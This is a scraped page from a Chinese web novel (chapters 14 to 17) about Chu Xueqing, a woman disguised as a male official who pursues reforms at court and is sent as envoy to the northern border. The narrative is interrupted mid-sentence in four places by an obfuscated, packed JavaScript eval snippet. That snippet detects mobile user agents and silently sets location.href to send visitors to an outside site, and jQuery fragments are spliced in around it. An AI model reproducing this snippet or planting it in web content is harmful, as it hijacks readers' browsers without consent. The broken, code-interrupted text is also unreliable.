l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591061|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏晟杰的棺椁安静的在那里昭示着死亡,耳边回荡着凄烈的哭声,纸钱焚烧的焦味充斥在灵堂之中。 老夫人痛哭那个笑颜澄澈的孩子,连裴霁曦也红了眼眶。 他的舅父苏远达,只是年近四旬,竟如枯木般老去,早生华发。 苏夫人刚生下幼女不久,就痛失长子,在灵堂之中哭得喘不过气,哭着哭着,她突然扑到棺椁上,喊着:“我儿死的好冤啊!冤啊!” 苏远达急忙过去拉她,用力抱住她,把她的头按在胸前,不让她发出声音。 苏夫人捶打着自己的丈夫,渐渐失去了力气,哭晕了过去。 来京近一年,裴霁曦为避嫌,不曾拜访过舅父。本想在苏府为小女儿举行百日宴时,要正式拜访一次,可未成想,没等到表妹的百日宴,却来了表兄的丧礼。 苏远达让人带着老夫人去休息,自己则带着裴霁曦到了书房之中。 苏远达和裴霁曦沉默地坐着,苏远达的目光空洞,神思涣散,像是突然冒出来的皱纹为这张脸平添了些许悲凉。 须臾,裴霁曦打破了沉默:“舅父,表兄之事,可有需要侯府帮忙的?” 苏远达茫然回神,沉思须臾,道:“帮?有甚可帮?再怎样,晟杰也已经去了。” 裴霁曦闻言道:“舅父节哀。”顿了顿又道,“可出了这番事,即使张尚书不再追究,陛下会担忧舅父脱出太子党派,那舅父的仕途……” 苏远达虽然只是三品侍郎,可他身处六部之中最重要的吏部。想他庶子出身,妻族平庸,即使一身才学,不依靠党派,也很难在仕途上有所发展。侯府地位敏感,他又不能倚赖,只能亲近太子。 可如今这事一出,即使太子于他有愧,皇上岂能相信他对太子毫无芥蒂? 苏远达嗤笑一声:“仕途如何,又有何碍?如今我只想守得妻女平安,哪怕回到白身,也好过在这混沌之中挣扎。” 裴霁曦有心相助,毕竟这是母亲唯一的兄长了。可侯府如今如履薄冰,也无法出头与刑部尚书对立,听到舅父这心死如灰的话,他回道:“舅父一身才学,若空留白身,是社稷之失。若舅父有需要曦儿相助的,我义不容辞。” 苏远达深叹口气,起身拍了拍他的肩膀,折身离去。 * 京城风云诡谲,虽没有战场嘶鸣,却在有看不见的刀光剑影,招招令人毙命,防不胜防。 远在北疆的战场,也突然失了近年来的平静。 北狄王去世后,其子觉罗尔穆继位。不同于父亲的谨慎,觉罗尔穆一继位就开始吞并周边部落,势力日渐壮大。虽然现在未犯大宁边境,可大宁也要开始未雨绸缪。 借着北狄的异动,定远侯上书陈情,希望其子裴霁曦能到北疆助其一臂之力。 皇上允了裴霁曦去北疆,却以边境不安稳,老夫人需在京静养为由,让老夫人、李氏以及庶女裴雨檀留在京中。 裴霁曦本想只带两名小厮以及初雪晴上路,可老夫人怕初雪晴一人照顾不好他,楞是让他把院子里的丫鬟,并一干侍卫都带走了。 于是,初雪晴结束京城安逸的生活,随裴霁曦,奔赴另一个战场。 14. 第 14 章 桑静榆的好奇心,最终也没有被初学清满足。 初学清没有说出口的往事,在梦中回荡很久,久到她睁眼的时候,都分不清眼前的时间。 她从书房的床榻上醒来,回神良久,心似被重石压着,眼前迷雾纷纷,思绪混沌,无从挣扎。 脑海中渐渐浮现裴霁曦上马离开时的背影,那个宽厚肩膀扛下了边境的安危,扛下了朝中的暗箭,现在仍要帮她扛下这前路的艰险。 十年过去,京城依然这般风云诡谲。 初学清起身到书案前,从桌下暗格抽出一个小木匣,木匣简单没有装饰,边角已经因长久摩挲变得圆润,初学清习惯性地抚着木匣。 仿佛瞬间做下了决定,她提笔写起了折子。 她的字已和七年前大不相同,抛却了当初的簪花小楷,一手利落的行书挥洒在纸上。 眸中已退却了浓雾般的迷茫,清澈曜黑,坚定无比。 * 当这本折子出现在早朝之上时,如深冬暗夜的惊雷,出现在不该出现的时间,搅乱了各路人的布局。 苏远达面上不动声色,可心中惊涛骇浪,没有料到,初学清竟瞒着他递了这样的折子,两人变法之初早已商量好,由他提出变法,主导改革,初学清只在后方推动。 苏远达自然有自己的考量,初学清涉世不深,寒门出身无所倚赖,而已经做到吏部尚书的他,和侯府有着亲缘,由他提出,变法才有实行的可能性。 何况,他最亲的两个人,正是因世家纷争而死,他要破这世道,而初学清的变法,恰好将刀递到了他的眼前。 可初学清这折子,把变法以来的的不足加以改进,又明确指出了寒门学子难出头的根源——学习的渠道之少,甚至暗中讽刺了由苏远达所推动的变法力度不够,需要以剜骨之痛换来吏治清明。 一向能言善辩的御史盛道文也沉默了下来,他一直瞧不起初学清让恩师出头,一同求学之时,初学清对吏治的看法就已初见锋芒,变法明明是她的想法,却借恩师的口提出,为君子不齿。如今初学清这般,他反而不知该如何应对。 刑部尚书张德雍并没有敛住情绪,直斥初学清:“以为初侍郎名学清,原来是学行,黄口小儿初学行,行尚未学会,就已然要跑了!” 初学清面色沉静,镇定答道:“下官名非学行,不仅会行,甚至变法一路,虽由恩师指导,但条陈的实施和推动,都是由下官躬身实践,自问对如何行、何处行,比诸位要更加清明。” 陆续还有群臣出来指摘,往日苏远达奏本,虽则变法有争议,但都碍着苏远达是天子近臣,又是定远侯舅父,就算反驳,语气上也颇有收敛。 可初学清只是区区侍郎,怎堪服众。 “变法过于激进,这是要动朝堂的根啊!” “初侍郎这般言辞,是觉得变法的后果,你自己担的住吗!” “原来初侍郎是个笑面虎,獠牙厉害得很!” …… 建祯帝抬了抬手,身旁太监高声止住了群臣的争吵。 建祯帝盯着初学清,严肃道:“初侍郎尚还年轻,遇事还是多问问苏尚书的好。” 初学清虽躬身应答,声音却不卑不亢:“陛下英明,微臣的确尚需锤炼,但下官出身寒门,苏尚书毕竟也是世家出身,先前学子闹事,大多也是认为苏尚书无法为寒门发声。由下官做变法先驱,想必会事半功倍。” 建祯帝眉头紧皱,眯起双眼,定定看着初学清。所谓的“学子”闹事,只是将裴霁曦与变法绑起来的手段,未成想初学清却如此加以利用。枉费他如此重用初学清,以她樟安政绩调她入六部核心的吏部,如今看来,这初学清太过莽撞。 他忍住怒意,道:“苏尚书对此事是如何看?” 苏远达答:“微臣虽出身世家,但家族微末,庶子出身,与寒门无异。且微臣曾躬身教书数年,桃李不言下自成蹊,想必比一个寒门身份要重要得多。” 建祯帝这才松开皱起的眉头:“看来初侍郎想要做这先驱,不仅要出身寒门,还需多教出些能够出人头地的寒门。” 初学清折身面向苏远达:“苏尚书是微臣恩师,微臣深知与恩师天渊之别。微臣出身寒门,若不是机缘巧合得恩师指导,怎能有如今这番局面。但不是所有寒门都得名师指导的机会,若能按照微臣所奏,降低官学入学门槛,鼓励书院的建设,开言路,启民智,才会人才倍出。” 她顿了顿,深深一揖,继续道:“此前变法草案,均由微臣呈于恩师,再由恩师修改上奏,句句条陈,皆是微臣心血,恩师念我年轻,才替我担下这重责。可微臣不能只躲在恩师羽翼之下……” “够了!”建祯帝的厉声喝斥打断了她,“看来初侍郎是不甘心只做这个侍郎了!” 初学清倾身下跪,但语气依然坚定:“微臣不敢。” 建祯帝怒不可遏,此次变法,一来可以打压世家,肃清朝堂,二来可以将矛头对准定远侯,转移锋芒,可如今,这初生牛犊的小小侍郎,竟敢破坏帝王的谋算。 “初侍郎年轻气盛,还是多听听苏尚书的教导,你且回去好好自省,最近就不必参朝了。”言罢,建祯帝勒令退朝。 待建祯帝离殿后,众臣依次离开。 初学清跟在苏远达身后,本欲与他交谈,奈何苏远达走得快,她看出苏远达无意在人多时与她交谈,便没再跟上。 御史盛道文走到她身旁,睨了她一眼道:“初侍郎今日不躲在羽翼之下了?倒是胆量见长。” 初学清心知这位同门并非不赞同变法,只是本着御史的职责批判一切隐患。她浅笑回道:“盛兄谬赞,我胆量小的很,不似盛兄,盛兄挥墨,何人不惧呢?” 盛道文轻哼一声,道:“那也得看配不配的上我挥墨。” “看来初某是配得上了?”初学清淡淡一笑道。 盛道文不置可否,轻笑离去。 初学清举目看向前方疾行的苏远达,他穿过肃穆宫门,渐渐消失,耳边还有同僚的私语声,可她已看不见同行者。 盛夏的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591062|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骄阳炙热,烈日照耀之下,一切景物,无所遁形,如这人心的惶惶,阴谋阳谋,推出水面。 一路回到官署,她心知今日朝堂上这一出,扰乱了很多人的布局,她也做好了承担这些结果的准备。 她去找苏远达的时候,见她手下的吏部郎中范英彦在苏远达屋中,两人见到她,都倏然止住了话头,苏远达示意范英彦先出去,屋中就剩下他二人。 两人一时谁也没有言语,只有夏日的蝉鸣躁乱了一屋的宁静,良久,苏远达长叹口气,道:“这下觉得自己是个英雄了?” 初学清垂头:“下官不敢,只是明知前路荆棘,无法越过良心,让恩师和定远侯去承担这后果。” 苏远达摇头道:“非也,你只知谋,却不屑用谋。你既看出各方在这盘变法之棋上的招数,为何要一腔孤勇,推翻棋局呢?为何不想想,如何既能下棋,又不损棋子呢?何况,我与定远侯,本是甘心入局,又何需你强出头?” 苏远达一席话说得她愧疚难当,她的确想过用别的法子,可每一种法子,都要逾越良心的界限,眼下这法子,即使最终牺牲掉她一人,也能撕开这棋盘之下的阴谋,转为阳谋。尤其陛下今日恼羞成怒,更让众官看出了这变法背后的污糟。 苏远达见她沉默不语,便道:“你把手头的事务交给范英彦,且歇一阵吧。” 初学清疑惑抬头:“可陛下只是停了我的早朝,并未停职。” “你以为,经过早朝这一出,你还能在吏部待下去吗?” 初学清眸光转暗,明知这后果,却在它真实来临的时候难以接受。 苏远达轻拍她的肩:“好在你平日也用心带着英彦,变法交代给他,你亦可安心。” 范英彦自担任吏部郎中以来,都是初学清带着,同僚都道范英彦身上尽是初学清的影子。 初学清按照苏远达的吩咐,把手头公文及事务都交给了范英彦,还对变法事宜多加叮嘱。 出了官署,却看见见羽林卫指挥使吴长逸,想来也是听闻早朝之事,来刺她几句。 吴长逸见她出来,扯住她胳膊,把她拽到一处无人过道,咬牙问她:“你今日在早朝发什么疯,你不知道你这么做有什么后果吗?” 初学清掰开他紧抓在自己右臂上的手,今日颇多烦忧,让她无心应对吴长逸的挑衅:“我这么做,自然有我的理由。” “可你……”吴长逸顿了顿,又瞪向她,“可你这么做,就从未想过家人吗?” 初学清愣怔片刻,官场如战场,一步错,在这个时代,可能连累家人都跌入地狱,她女扮男装,却总容易忽略现如今身为她妻子的桑静榆。 吴长逸见她沉思,咬牙道:“你好自为之吧,总之,自己做什么,别累得旁人和你一起受罪!”随后他甩手离开。 初学清静静靠在宫墙之上,灼热日光打在她的脸上,让人头晕。 她本是戴罪之身,女扮男装,为世不容,前路无非是一个死字。可她现在毕竟不是一个人,做什么都要考虑到静榆。 15. 第 15 章 留存薪火,以待燎原。 初学清在宫墙旁怔楞许久,思索静榆的出路,景王又派人来寻她。 她平日甚少去景王府,今日想是景王都已沉不住气,让她从侧门入府。 穿过雕梁画栋的回廊,到达正堂,景王正坐堂中,见她来了,挥退仆侍,双眉紧锁道:“煦明今日可是给本王一个惊喜!” 初学清倾身拜道:“未提前和殿下相商,是微臣之过。” 景王嗤笑一声道:“相商?想必你是知道就算相商了,本王也不会同意,才擅作主张的吧!” 闻言,初学清垂下眼眸,撩起衣摆,俯首跪下:“微臣深知自己不是一个合格的幕僚,但微臣无法摒弃内心的准则,推别人去担自己的责。” 景王闻言,拿起桌案上的砚台,冲着初学清扔了过去,砚台砸到她的额角,点点墨渍顺着额角流了下来。 “你以为,你仅仅是一个吏部侍郎吗!本王难道会为了一个仅仅会舞文弄墨的文人,冒天下之大不韪,推一女子入朝吗?” 初学清面色未改,额角已渐渐红肿,可手仍旧规规矩矩贴在地面,没有顾及额角的伤痛。 门口传来“嘭”的声音,景王大声呵道:“何人在外?” 门缓缓被推开,见一华服女子,面上微施薄粉,美丽却不显张扬,她轻步上前行礼,声音温婉似水:“殿下,臣妾鲁莽了,方才盈儿道,殿下今日要检查她功课,一早就等着殿下,臣妾这才来提醒殿下。” 景王见是王妃崔溪,神色稍缓,盈儿是他们的长女,他是被初学清气急了,才忘记与长女的约定。 他瞥了瞥初学清,走到初学清身边道:“你且思量思量,究竟是一时的意气重要,还是你要求的大道重要。”又转头对王妃道:“让人取些伤药,为她消消肿。” 言毕,景王大步离开。 崔溪唤人取了药来,见初学清一直俯跪在地,叹了口气,上前扶起了她。 初学清忙退了一步,却被崔溪抓着胳膊,扶到旁边的座椅上,崔溪看向她的额角,轻声道:“初大人忙着避嫌作甚,莫非是装惯了男子,真以为自己是男子呢?” 初学清抬眼看向她:“王妃听到了?” 崔溪并未回答她,拿起手巾,轻轻擦着初学清额角:“殿下极少这般生怒,但想必他还是拿着力道的,也未让砚台尖角伤到你,量也只是警示下你。” 崔溪指尖蘸了少许伤药,轻点在初学清患处:“以前知道殿下看重你,便想初侍郎定是有过人之处,可未成想你竟是女子。殿下仁人之心,一直不介意我的字画被他人追捧,还想要我抛却“山水居士”的名号,以本名作画。” 她为初学清涂完药,又定定看着初学清的脸,这张脸不知是做了何种改变,深粗的英眉带着硬朗的眉峰,唇上方的黑点似真的无法剃净的胡茬一般,肤色的暗沉掩不住清秀的双眸,即使仔细观察,也只道这是一个清俊的男子。 原来殿下如此看重的人,竟是女子。 崔溪慨叹:“本以为他已经够大胆了,未想这都不止,竟不介意女子入朝。” 初学清抬眸,对上崔溪的眼眸,微弯了下唇角,却又笑不出来,只道:“殿下仁德,不以出身论人,殿下看重微臣,也仅仅是因为微臣的才能。只是微臣愚笨,有负殿下厚待。” 崔溪道:“初大人莫要自轻,单是不顾身份,入朝堂,兴变法,就足以让我等俗女子汗颜。有初大人在朝堂助力殿下,我也安心。” 初学清默然,只觉自己对不住景王妃这般高看。 景王曾对她说过,不要她做争权的棋子,而要做治国的执棋人,是知道她有治国之能,而无弄权之心。 可如今,她不知道自己能否走到,辅佐景王治国之时。 * 回到家中又已入夜,初学清路上打了壶清酒,到家邀桑静榆对酌。 她极少与人对酌,大多是烦闷之时独饮。许是和人对话,要时刻保持清醒,而独自一人时,却可享受微醺的醉态。 屋内仅有她二人,她为桑静榆斟了一杯,递过去道:“静榆,这么多年,我在何处任职,你便在何处行医,虽说医者不论地界,但是也苦了你跟我辗转奔波。” 桑静榆一口饮下杯中之酒,打断她:“这话我可不爱听,我行医就是要云游四海,见识各地的患者,才能增进自己的医术,只是借你的身份,方便我行医罢了。毕竟父母官的夫人行医,虽说也有风言风语,总好过一介孤女得人信任。” 初学清浅笑望她:“对,云游四海,可自我任京官以来,你也被困在了这京城。” 桑静榆接过酒壶,为初学清续上一杯后,也给自己倒满,她挑挑眉笑道:“可你知道,若不是已嫁女的身份,若不是自家夫君支持,就算云游四海行医,我也是寸步难行的。” 初学清摇头:“其实我为你能做的有限,只是一个身份的便利,可你明明能有更好的庇护,吴长逸他……” “停、停……提他做什么。早和你说过,我之前明确问过他,他说女医抛头露面终是不妥,我才逃婚出来行医。我的医术明明比大多男医要强得多,为何就因要嫁人便放弃呢?我才不要什么庇护,我要的是能光明正大行医救人。你自己为何要逃离定远侯身边,你忘记了吗?” 许是嘴快,桑静榆一时气愤就脱口而出,可真说出了口,又觉不妥,瞪了初学清一眼,强装有底气。 初学清也不恼,反倒反思了自己,的确不应以己度人,只得转换角度道:“的确,女子立身于世,本不需要什么庇护。可我如今行的道,太过危险,若孑然一身,就可无后顾之忧放手去做,可现在……” “现在,有我支持你,我知道你是要给所有寒门、女子一个机会,可以平等为人的机会,就为这个,我这个不容于世的女医,就要一百个支持!”桑静榆激动拍桌,信誓旦旦。 初学清轻叹一声:“这世间的不公,又岂是寒门和女子……可这条路太难,我不希望你受我牵连,你我二人,还是和离为好。” “够了够了,你可莫要再说了,总之,虽然我不懂你们官场的弯弯绕绕,但是我也想要你说过的那种太平盛世,不会有人因为出身或性别受到冷眼,有我在你身边,起码你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591613|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身份做得更实!” 初学清闻言,举起酒杯,一口饮尽,清酒入喉,甘醇辛辣,呛到了鼻腔里,让她咳出了泪花。 “怎么,被我感动了?”桑静榆起身到她身旁,环住她的肩,“可惜我是个女子,要我是个男子啊,我定要娶了——” 说着,她又嬉笑着松开初学清:“娶了我自己。” 初学清被她逗笑,连日闷在心头的阴翳也一并消散。 * 等待良久的宣判,终于在半月之后,由初学清的恩师亲口告诉她。 她由吏部调往礼部,任礼部右侍郎。 虽同是侍郎之职,可由六部之首的吏部,调往礼部,明着平调,实则暗贬。 可这已经比她料想的要好,她暗自思索,礼部掌管文教礼仪以及对外事务,她正好可以把她对教育的改革理念贯彻一下。 苏远达却打破了她的念想:“到了礼部,莫要出头,安分守己方能得见坦途。礼部余尚书因循守旧,不思变通,不会像我这么纵着你。” 余尚书也算的上苏远达的岳丈,可苏远达显然没有把余佑威看在眼里。 她没有反驳苏远达,却在内心做起了自己的打算。 她调任礼部,吏部郎中范英彦升任吏部右侍郎,范英彦是她一手带出来的人,想必变法也会遵循既定的路子,那她就可放心在礼部施展。 苏远达见她不语,知她自有打算,又道:“你可知,皇上本要贬你离京,是太子力保你调任礼部,皇上最是看重太子,也只得采取太子的建议。” 初学清心中一惊,太子保她,必是景王的运作,可恩师长子,就是因为太子的缘故早亡,虽说苏远达从未表现出对太子的抵触,可太子如此保她,难免恩师心中介怀。 可苏远达并未表现出什么,只是又叮嘱她几句,便拿出一封信笺,让她回去再看。 未料想到,给她写信的,是定远侯裴霁曦。 她坐在自家书房之中,轻抚着信笺上“初学清”三字,久未看到他的字迹,忽觉自己的名字在他的笔下竟然这般好看。 她擦了擦书桌,将信笺放上去,缓缓开启封口,小心翼翼,生怕稍一用力,会揉皱信笺。 取出信纸,把信封轻放在桌上,慢慢展信。 “惊闻初侍郎欲以一己之力,担变法之责。 愚兄以为,如沙场般,士兵在前,将帅在后,非将帅贪生怕死,实乃各司其职,以应对沙场变局,若出师未捷,将帅先死,士兵必乱做一团,战局既败,非死即俘。 吾辈所求之大道,初见曙光,若初侍郎因一时之义,卒于起点,曙光既灭,何谈大道? 留存薪火,以待燎原。 吾辈薪火,名曰学清。” 读完信,她眸中涌上一层水雾。她用蹩脚的理由离开他,以为是逃离樊笼,兜兜转转,却是他最懂她。 可她哪能做什么薪火,她只是一直扑火的飞蛾,静待最终的灼烧。 如今的定远侯,远在北境邺清,与她相距数百里。 可她觉得,他们又变近了。 16. 第 16 章 礼部尚书余佑威是个中庸派,秉着谁也不得罪的原则,在朝中顺风顺水这么些年,他一向对刺头型的人避而远之,谁知把初学清安到了他的手下。因此也照着一贯的作风,压下了初学清提报的教育变革方案。 不能从明面上去剔除教育弊病,初学清便想便用自己的方式推动。 自在礼部上任,她除了份内之事,下值便自己去拜访各个书院有名的夫子,晓之以理动之以情,除了阐明自己的思路,还对夫子们多加恭维,仿佛天下学子的将来全系在他们身上,陡然让人觉得要担起天下兴亡之责。 近年来科举考出来的官员,大多是世家子弟,尤其是京城居多,三甲中更是罕见寒门,初学清已经是近年来寒门学子出路最好的一个了。 可即使她有三寸不烂之舌,愿意赴身去地方讲学的,也寥寥无几。 大多夫子已在京中安家多年,不忍妻小随己奔波是一方面,不愿放弃京中优厚俸禄才是最主要的。 礼部官署之中,几位官员正在闲聊。 “初学清是个离经叛道的,她以为她在樟安做出了业绩,就可以抹杀掉她诱拐官家小姐,私定终身的事了?现在可好,樟安商业发达,人人称她为樟安的再造父母,连她抢了别人姻缘都绝口不提,如此宵小之徒竟然调到我最重礼教的礼部,天理难容啊!” 另一人附和道:“你们可知,那初学清在樟安扶植了个女子做商会会长,谁知那女子是他什么人呢!还有她那夫人,身为朝臣夫人,竟然抛头露面,还为男子诊治,真是寡廉鲜耻。初学清回京了也不安生,借她恩师之名大行变法,甚至插手到了咱们主管的科举之上,现下调任礼部,又想变革教法,黄口小儿,实在太过异想天开!” 正在他们群情激愤之时,只听见一声做作的轻咳,原是余佑威经过,他并未多作指责,只提醒道:“如今初侍郎是你们上官,平时说话,要注意点。” 初学清姗姗来迟,并未听到众人的议论,众人见她也未打招呼,只是假装各忙各的。 她也不在意,只是端起一抹微笑,又对余佑威重提教育变革之事。 余佑威又百般推脱道:“初侍郎初到礼部,尚未摸清楚咱们手头的事,还是先熟悉熟悉,再做变革啊。 “况且,你说要安排夫子轮换到各地方去讲学,可若没有额外的费用,这些个夫子怎么肯去地方讲学,诸多细节都需慢慢商议,不可操之过急啊!” 初学清闻言,也不多做辩解,并不是所有上官都像苏远达那样开明,她也理解余佑威多年来奉行中庸之道的谨小慎微。 她见说服余佑威无望,便又去书院走访。 待她到松远书院门前,见书院山长正在迎一位鹤发老者,待她近前一看,方觉心中惶恐,转身便要离去。 可山长看见了她,忙唤她:“初侍郎今日又来了?” 老者也折身面向她,眯起双眼,仔细打量。 初学清忙低头:“今日您有客人,我便不多做打扰了。” 可山长却未放过她,笑道:“初侍郎今日可来得巧,你多日来和我说的事情,今日可算来对了。” 说着便向身旁老者介绍了初学清,又对初学清道:“这位可是韦浩骞先生,你同我说的事情,我向他提过,韦先生对你的想法颇有兴趣,咱们还是进去细聊。” 初学清闻言,只得跟进去。 韦浩骞也算得上她半个恩师,虽未得他亲自教导,但也有幸在他教导裴霁曦时偷师到很多。 如今她改头换面,虽然眉眼未多做伪装,但距他们上次见面已十年之久,相信韦先生也很难认出她就是当年那个小丫鬟。 初秋的天气甚是凉爽,三人在书院中的凉亭坐定,山长见初学清不语,便向韦先生大致说了下初学清之前来劝他的事情,又给初学清使眼色。 韦先生眯眼看向初学清:“初侍郎好生面善,只是老夫年纪大了,一时想不起在哪见过初侍郎。 初学清稳了稳心神,笑道:“曾在求学时有幸听过先生在书院的讲学,虽然先生只在书院讲过一次,但也令学生受益匪浅。” 韦先生道:“老夫也细细研究了初侍郎所拟变法,不仅对朝廷选官,对学子求学风向也大有裨益!此次变法,功在千秋啊!” 初侍郎闻言,明白了韦先生是针对变法中拓展选拔人才的考校方式,变法增加的实务内容,便道:“在杂文加入科举考试前,诗词歌赋只是文人的雅好,直至科举愈发重视文采,才涌出大量耳熟能详的诗歌文章,初某也只是效仿而已,希望学子不单单把眼界局限于书本之中。” “说起来,科举加入杂文,还要感谢前朝女帝啊!”山长感慨道,不过话一出口便觉不妥,忙补充,“不过牝鸡司晨,不提也罢。” 韦先生摇摇头:“此言差矣,有功便是功,非男女可左右,不提前朝,我朝的舞阳将军,军功赫赫,丝毫不输男儿郎。” 山长忙道:“对对,韦先生言之有理啊。” 韦先生笑着看向初学清,“不过科举加入杂文,虽是好事,但过犹不及,近百年来,科举兴盛文采之风,虽大大提高了诗篇质量和数量,但也忽视了实务之能,也需要一场变法来扭转一下了,初侍郎功不可没啊。” 初学清自谦道:“韦先生谬赞了,初某只是略尽绵薄之力。”话锋一转又道,“韦先生之名谁人不知,只是韦先生隐居世外,近年来也不再讲学,岂敢劳烦韦先生舟车劳顿,去地方讲学呢。” 韦先生轻笑道:“初侍郎可是嫌老夫年纪大了,怕我无法担下这传道重任呢?” 初学清忙道:“学生岂敢,先生乃武将出身,精神矍铄,绝不能用世俗的年纪来衡量先生之体魄,若先生愿意,真乃天下学子之幸。” 韦先生道:“初侍郎有此兼济天下之心,实属难得,老夫也愿尽绵薄之力。” 初学清起身拜谢韦先生:“不瞒先生,学生已走访了这京中大大小小书院,先生是第一个答应我的。”说着又笑着看了眼山长,“当然,有了先生鼎力相助,相信随后会有更多的助力。” 山长轻咳一声,笑言:“初侍郎可不必点我,总要我安顿好家中妻小,再行商议吧。” 初学清随后又向他们说了接下来的部署,靠几个夫子去讲学,总归不是长久之计,见效也甚慢,最重要的,是培养出更多的夫子,能够扎根在地方。 韦先生闻言,不住点头,对初学清流露出更多的欣赏。 * 接下来的事情,按照初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591614|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学清的规划,一步步向好,有了韦浩骞引领,更多的夫子以能到地方讲学为荣,而各地方书院,为了能得到名师讲学机会,吸引更多学子,也为到地方讲学的夫子供以银钱支持。 礼部尚书余佑威没想到初学清能用一己之力,不需朝堂支持,就能办成这些大事,行事更加小心,生怕受初学清连累,如今是能不见她,就不见她。 在初学清稳步推进师资流动时,边疆也打破了连年的平静。 北狄王觉罗尔穆因多年来在裴霁曦处屡吃败仗,威信大减,被其弟萨力青谋杀篡位。 不管北狄王是谁,裴霁曦也从未怕过。新王上任,都希望能树立威信,尤其是萨力青的上任并不光彩,而拓张领土则是最好的方式。 因此北狄开始屡次进犯。 建祯帝深知裴霁曦对边疆的重要性,既希望裴霁曦赢,但是又怕裴霁曦在此战中又立一功。多番思量下,竟然派太子前去监军,希望能领下一半功劳,为爱子铺平继任的道路。 战争进行了数月,本来北狄在裴霁曦这里讨不到便宜,可未成想西羌又出了乱子。 西境有裴霁曦表妹林玥怡和大将祁允坐镇,本不会出什么问题,可西羌此次竟和北狄勾结起来,两方配合着攻击,让定远军赢得颇为费力,但总体上也没吃什么亏。 可太子到了边境之后,许是急于表现自己,竟私自带了五千士兵,意图偷袭北狄大营,未想太子竟然被俘。 建祯帝大怒,勒令裴霁曦不惜一切代价也要救出太子。同时派出和谈使臣,与北狄谈判。 朝中人人皆知此次和谈危机四伏,稍有不慎便会搭上全家身家性命。 和谈由礼部负责,而礼部尚书余佑威,推举礼部右侍郎初学清担任和谈使臣。 同时,羽林卫指挥使吴长逸自荐护送初学清赴北境和谈。 离京这天,已是初冬,萧瑟的冬风已经开始裹挟着冬日的寒气逼来,路面还有未及清理的枯黄落叶,随着冬风呼啦作响,许是太子被俘的消息弄得人心惶惶,百姓们都减少了外出,连往日热闹的城门也变得冷清起来。 吴长逸从队伍末端走到在最前的初学清身旁道:“初侍郎,人数和物品已清点完毕,可以出发了。” 初学清刚要应声,就听见身后传来清脆的声音:“等等,等等,还有我呢。” 只见桑静榆一身男装打扮,骑着一匹白马跟了上来:“你们此去山高水远的,不得带个医师吗。” 在吴长逸发愣的功夫,桑静榆下马对初学清耳语:“他主动护送你出使,不定存着什么心思,我可不放心。” 初学清退开一步,拉开两人距离,她不想这般刺激吴长逸,抬眼看了看吴长逸,道:“想必一时也找不到合适的医师,那就委屈夫人扮男装随我们出发了。” 吴长逸这才反应过来:“初侍郎可是疯了么,此去可不是游玩的,怎可带一女子上路!” 桑静榆不悦道:“那依吴将军的意思,女子出门就是要游玩的吗?不才小女子走遍大江南北,悬壶济世,不知救助过多少病人,可没有像你说的是游山玩水了!” 初学清从中调解道:“好了,时辰耽搁不得,吴将军可不要小瞧内子,有她随行,我们能省不少心。” 17. 第 17 章 他们一行人忙着赶路,往往顾不得停在驿站歇息,大多是露宿野外,出乎吴长逸意料的是,桑静榆虽为女子,并不娇气,和男子一样,白天骑马赶路,晚上也是和初学清挤在一处露天而歇。 桑静榆扮男子扮得并不像,也是怕用上那些工具太像了会有人怀疑初学清,所以大多侍卫都知道初侍郎携妻出使,私下都觉不合礼法,只是碍于初侍郎的官职,没人提出罢了。 一日,他们为了抄近路,路过一片瘴气很重的树林,桑静榆建议他们不要走这里,可吴长逸坚持走近路,毕竟太子在敌营多待一天就受一天罪。走近路他们一日便可到达邺清,绕路则需要两日。 最终还是依了吴长逸走进了树林。 四周皆是高耸入云的树木,前方灰蒙蒙一片,空气里掺杂着腐烂的味道,虽没有风,可这般凄凉景象更加重了身体里的寒意。 桑静榆给大家都发了面巾,阻隔瘴气,可薄薄面巾抵不过周围的味道,大多还是吸入了不少瘴气。 直至有些觉得娘气,没有带面巾的侍卫感到不适,腹痛难忍,面色铁青,吴长逸不得已才勒令大家停下。 桑静榆瞧了瞧那些侍卫,又瞪了吴长逸一眼道:“看见了吧,这种瘴气林里多是动物腐烂的尸体未及时处理,加上雾气过重,极易引起疾病,再走下去,可不一定是病倒的事了!” 她边为这些侍卫紧急施针,边斥责道:“吴将军久居京城,自是不知道这事的严重性,我以前走南闯北见识多了,瘴气严重,可危及性命,吴将军要是坚持走,那就带自己人走吧,我和我夫君可惜命的紧,我夫君还要代表大宁出使呢。” 